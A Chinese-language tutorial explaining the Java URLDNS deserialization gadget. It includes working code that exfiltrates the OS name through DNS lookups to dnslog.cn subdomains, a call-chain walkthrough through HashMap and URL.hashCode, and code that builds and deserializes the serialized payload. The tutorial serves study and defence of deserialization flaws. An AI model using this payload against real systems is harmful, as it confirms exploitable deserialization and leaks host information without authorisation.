一、InetAddress.getByName方法
在java中InetAddress.getByName方法会解析域名,也就是会触发DNS解析,那么我们就可以利用它做dns带外。
String osName = System.getProperty("os.name");
String replace = osName.replace(" ", "-");
System.out.println(replace);
try {
InetAddress address = InetAddress.getByName(replace + ".2rn8xe.dnslog.cn"); // 这里可以将内容带到dns解析服务器
System.out.println(address.getHostAddress());
} catch (Exception e) {
e.printStackTrace();
}
二、利用URL和HashMap dns带外操作系统名
HashMap触发dns解析
当把java.net.URL对象当做HashMap的put方法的key时,会触发dns解析,可以外带信息。
HashMap<URL, String> map = new HashMap<>();
// 当把 URL当做 key时就会解析DNS,最终还是调用的InetAddress.getByName
URL url = new URL("http://whatlksadjfkjalkwejiasdojfiojasoidgjoa.g88epc.dnslog.cn"); // 解析DNS发生在此处,URLStreamHandler类的hashCode方法
map.put(url, "username");
调用链详解
- ↓给HashMap的put方法下断点,准备调试查看调用链
- ↓运行程序强制步入
↓进入第一层调用,可以发现调用了hash方法,继续跟进
↓进入第二层调用,可以发现调用了key的hashCode方法,我们继续步入
↓进入第三层调用(在URL类中),可以发现继续调用了handler的hashCode方法↓
↓进入第四层调用(URLStreamHandler类),这里发现通过getHostAddress方法得到了InetAddress对象,可以推测发生了dns解析,接下来我们继续步入
↓进入第五层调用,还是在URLStreamHandler类中,调用了URL的getHostAddress,继续步入
↓进入最后一层调用,回到了URL类中,可以发现这个方法调用了InetAddress.getByName,通过本篇第一部分的内容可以知道,该处会发生dns解析,并且带外信息。
至此,HashMap的put方法触发dns带外的调用链已经清楚
三、HashMap反序列化导致dns解析带外
待解决的问题
- 不知道大家注意到没有,在第二部分的调用链分析中的第三层调用时对hashCode进行了判断,只有hashCode不为 -1 时才会继续向下执行,但是当HashMap调用put时会将URL的hashCode从-1改成别的值。也就是说在反序列化时就算过程中调用了put方法也不会解析dns,接下来让我们看看怎么解决这个问题。
- 另外,我们需要确定在反序列化HashMap时,确实会调用put方法,或者调用更底层的函数。
- 还有一点须知的是,当反序列发生时,会自动调用要被序列化成的那个类的readObject方法(如果这个方法被重载了的话),所以待会儿我们要找HashMap的readObject方法,这是能够利用反序列干一些事情的前提。
反射修改hashCode
我们知道java的反射机制可以修改类实例的私有属性,那么我们接下来就将hashCode手动修改回去再序列化:
private static void serialize() throws Exception {
HashMap<URL, String> map = new HashMap<>();
URL url = new URL("http://111222333444.pu8tzy.dnslog.cn");
map.put(url, "username"); // 这里执行put后 hashCode 会被修改,也就不会再解析dns
// 所以下面使用反射把hashCode改成 -1
Class<?> clazz = Class.forName("java.net.URL");
Field hashCode = clazz.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, -1);
// 序列化
OutputStream bos = Files.newOutputStream(Paths.get("./urldns.ser"));
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(map);
}
这样,我们就在序列化之前,将hashCode的值改回了-1,后面反序列化的时候这里就不会成为问题。
HashMap的readObject方法
这里我直接把HashMap的该方法的源代码贴到这里:
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
ObjectInputStream.GetField fields = s.readFields();
// Read loadFactor (ignore threshold)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new InvalidObjectException("Illegal load factor: " + lf);
lf = Math.min(Math.max(0.25f, lf), 4.0f);
HashMap.UnsafeHolder.putLoadFactor(this, lf);
reinitialize();
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else if (mappings == 0) {
// use defaults
} else if (mappings > 0) {
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
我们可以发现最后一句的 putVal(hash(key), key, value, false, false);
与本篇第二部分的调用链详解中的第一层调用使用的方法是一模一样的,至此我们可以知道在反序列化时肯定是调用了put方法,这样我们就可以知道反序列化时也会发生dns解析并且带外信息。
反序列化利用
我们直接反序列化第二部分的序列化文件,这是代码:
private static void unserialize() throws Exception {
// 反序列化
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("./urldns.ser")));
HashMap<URL, String> map1 = (HashMap<URL, String>) ois.readObject();
System.out.println(map1);
}
然后你就会惊奇的发现dns带外发生了: